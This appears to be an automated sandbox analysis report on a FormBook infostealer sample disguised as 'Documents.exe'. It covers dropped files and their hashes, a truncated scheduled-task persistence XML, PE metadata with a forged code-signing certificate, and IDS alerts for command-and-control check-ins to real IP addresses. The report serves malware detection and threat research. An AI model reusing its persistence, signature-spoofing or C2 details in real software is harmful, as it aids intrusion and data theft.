	nabmpsl.elf	Get hash	malicious	Unknown	Browse	44.233.171.208
	nabx86.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	invoice-1664809283.pdf (1).js	Get hash	malicious	RHADAMANTHYS	Browse	185.166.143.50
	invoice-1664809283.pdf .js	Get hash	malicious	RHADAMANTHYS	Browse	185.166.143.49
	loligang.mpsl.elf	Get hash	malicious	Mirai	Browse	18.135.214.149
	botx.arm6.elf	Get hash	malicious	Mirai	Browse	54.232.32.230
	botx.x86.elf	Get hash	malicious	Mirai	Browse	18.197.218.104

Process:	C:\Users\user\Desktop\Documents.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\uFEeKIucsX.exe.log

Process:	C:\Users\user\AppData\Roaming\uFEeKIucsX.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379909843762687
Encrypted:	false
SSDEEP:	48:BWSU4xympgv4RIoUP7gZ9tK8NPZHUx7u1iMugeC/ZPUyus:BLHxv2IfLZ2KRH6Oug8s
MD5:	5ED93D92EEA0E547284B97AD38FEDAFF
SHA1:	D3A57A1AE4C91873D51144CFFD69C8AEB27B7F67
SHA-256:	381012991B65EDA1C67E5DD4E66550FE3A4D227A3BD755ED68D10F8F1356D649
SHA-512:	4FA84B90455DE3D10BB007BF2581658FE6F4A5D644A5960B1E8D038FEC5C95DAC339D19BAF01A930581671886628AB121B7C545A1CAEEC3CEF6AD81D6F1B1064
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\H846yjBj

Process:	C:\Windows\SysWOW64\systray.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3yibagtm.ur2.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bbfnblqb.nrs.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_idq5l0dc.ny3.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ldyrd5pv.iaj.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mb0xsedr.bgl.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p3b5i1hh.a1r.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v0cdzsmc.x0l.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wq0oddbv.rzd.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp2505.tmp

Process:	C:\Users\user\Desktop\Documents.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	5.105402202780381
Encrypted:	false
SSDEEP:	24:2di4+S2qhlZ1Muy1my3UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtWNxvn:cgergYrFdOFzOzN33ODOiDdKrsuT4v
MD5:	F792F12263356811E7EC07A7A9D1D135
SHA1:	2EED032342D1ED944E7184243E3934FA2D042184
SHA-256:	F72A4D87B2A12D8A59F945EEED4BA453238905C1486501A99B9BE8924125A5AC
SHA-512:	DBAE75E3310A6AE15BA022686A4AE9E584182FE0D0688A3C116334EEB00282B44CE9A00B210CE9F4B8221B218AF6D3C6C300AB7ED81DBD87D15173332C955303
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetwor

C:\Users\user\AppData\Local\Temp\tmp4E47.tmp

Process:	C:\Users\user\AppData\Roaming\uFEeKIucsX.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	5.105402202780381
Encrypted:	false
SSDEEP:	24:2di4+S2qhlZ1Muy1my3UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtWNxvn:cgergYrFdOFzOzN33ODOiDdKrsuT4v
MD5:	F792F12263356811E7EC07A7A9D1D135
SHA1:	2EED032342D1ED944E7184243E3934FA2D042184
SHA-256:	F72A4D87B2A12D8A59F945EEED4BA453238905C1486501A99B9BE8924125A5AC
SHA-512:	DBAE75E3310A6AE15BA022686A4AE9E584182FE0D0688A3C116334EEB00282B44CE9A00B210CE9F4B8221B218AF6D3C6C300AB7ED81DBD87D15173332C955303
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetwor

C:\Users\user\AppData\Roaming\uFEeKIucsX.exe

Process:	C:\Users\user\Desktop\Documents.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	929800
Entropy (8bit):	7.84469641614054
Encrypted:	false
SSDEEP:	24576:4t2xjPLCnYn28/zBe7Rw4/apNbasfpKHSnfry:4AcnY28/9MRzmskpKHSnfW
MD5:	0C0B6ED60E0309998DA4AE71469F1D84
SHA1:	030176B42AAC8F2FD5E0358E817491D3C334A686
SHA-256:	83B760B0B764A209333A2B903015FF3F6DF831FAF20BE20B836563C54E3370B1
SHA-512:	7F484ECE6A2B6910366BDD50EA14ABF61034BBB22A540378EFB04D48CFD68D021FA8DD5F7F3A27DF109090F6B4935CF019CA1251565B0E585F39AFAAF1A5442F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Gg..............0......\.......... ........@.. .......................@............@.................................x...O........Y...............6... ....................................................... ............... ..H............text...P.... ...................... ..`.rsrc....Y.......Z..................@..@.reloc....... ......................@..B........................H.......P<..x5......$....q...G..........................................z..}.....(........}.....(..........0............{.....+..&...}.......0............{....o.....+......0..B.........{...., .{....o....,..(....o..........+....,...(....o....oB........0..B.........{...., .{....o....,..(....o..........+....,...(....o....oD.......r...p.{....%-.&.+.o....(....(....&..0..E.........{....o.........,1...}.....(.....{....o ...o!.....(....o....oB.....>..{.....o".......(#....

C:\Users\user\AppData\Roaming\uFEeKIucsX.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\Documents.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.84469641614054
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Documents.exe
File size:	929'800 bytes
MD5:	0c0b6ed60e0309998da4ae71469f1d84
SHA1:	030176b42aac8f2fd5e0358e817491d3c334a686
SHA256:	83b760b0b764a209333a2b903015ff3f6df831faf20be20b836563c54e3370b1
SHA512:	7f484ece6a2b6910366bdd50ea14abf61034bbb22a540378efb04d48cfd68d021fa8dd5f7f3a27df109090f6b4935cf019ca1251565b0e585f39afaaf1a5442f
SSDEEP:	24576:4t2xjPLCnYn28/zBe7Rw4/apNbasfpKHSnfry:4AcnY28/9MRzmskpKHSnfW
TLSH:	86151260119BE901C8D10B7049A3D3F59B709DC9F921C30BABEAAFFBBC7615629543E4
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Gg..............0......\........... ........@.. .......................@............@................................

File Icon


Icon Hash:	099bce4dd131078e

Static PE Info

General

Entrypoint:	0x4db9ca
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6747CC9F [Thu Nov 28 01:51:27 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=COMODO RSA Code Signing CA, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	12/11/2018 19:00:00 08/11/2021 18:59:59
Subject Chain	CN=Simon Tatham, O=Simon Tatham, L=Cambridge, S=Cambridgeshire, C=GB
Version:	3
Thumbprint MD5:	DABD77E44EF6B3BB91740FA46696B779
Thumbprint SHA-1:	5B9E273CF11941FD8C6BE3F038C4797BBE884268
Thumbprint SHA-256:	4CD3325617EBB63319BA6E8F2A74B0B8CCA58920B48D8026EBCA2C756630D570
Serial:	7C1118CBBADC95DA3752C46E47A27438

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
adc dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], bh
add byte ptr [eax], al
add byte ptr [eax+00h], al
add byte ptr [eax], al
push edi
add byte ptr [eax], al
add byte ptr [ebp+00h], bl
add byte ptr [eax], al
pop edi
add byte ptr [eax], al
add byte ptr [edx+00h], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], cl
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax], al
add byte ptr [edx], ch
add byte ptr [eax], al
add byte ptr [eax+eax+00h], dl
add byte ptr [ebx+00h], al
add byte ptr [eax], al
pop ebx
add byte ptr [eax], al
add byte ptr [eax+eax+00h], ah
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
or dword ptr [eax], eax
add byte ptr [eax], al
adc eax, 1C000000h
add byte ptr [eax], al
add byte ptr [ebx], dh
add byte ptr [eax], al
add byte ptr [edi+00h], al
add byte ptr [eax], al
push eax
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [ebx], dl
add byte ptr [eax], al
add byte ptr [eax+eax], bh
add byte ptr [eax], al
sbb byte ptr [eax], al
add byte ptr [eax], al
dec ecx
add byte ptr [eax], al
add byte ptr [ebx+00h], cl
add byte ptr [eax], al
dec edi
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xdb978	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xdc000	0x59f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xdfa00	0x3608
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xe2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xd9a50	0xd9c00	2f5c3171a2cf43d8a80bd69fcf68ac68	False	0.9284093355338691	data	7.844297233774946	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xdc000	0x59f0	0x5a00	e4d307e65c721571a751df028819110d	False	0.9299479166666667	data	7.857965853300758	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xe2000	0xc	0x200	a3df6e9d0fbf2b5699259f4a06b99c1f	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xdc100	0x531a	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.968083106138949
RT_GROUP_ICON	0xe142c	0x14	data	1.05
RT_VERSION	0xe1450	0x3a0	data	0.41810344827586204
RT_MANIFEST	0xe1800	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-28T09:14:09.542330+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49809	162.0.215.33	80	TCP
2024-11-28T09:14:12.420519+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49818	162.0.215.33	80	TCP
2024-11-28T09:14:14.958104+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49825	162.0.215.33	80	TCP
2024-11-28T09:14:24.466710+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49847	104.18.73.116	80	TCP
2024-11-28T09:14:27.132228+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49852	104.18.73.116	80	TCP
2024-11-28T09:14:29.852129+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49859	104.18.73.116	80	TCP
2024-11-28T09:14:39.904886+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49882	192.185.147.100	80	TCP
2024-11-28T09:14:42.540436+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49888	192.185.147.100	80	TCP
2024-11-28T09:14:45.186578+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49894	192.185.147.100	80	TCP
2024-11-28T09:14:54.482114+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49917	13.248.169.48	80	TCP
2024-11-28T09:14:57.153122+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49924	13.248.169.48	80	TCP
2024-11-28T09:14:59.864734+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49930	13.248.169.48	80	TCP
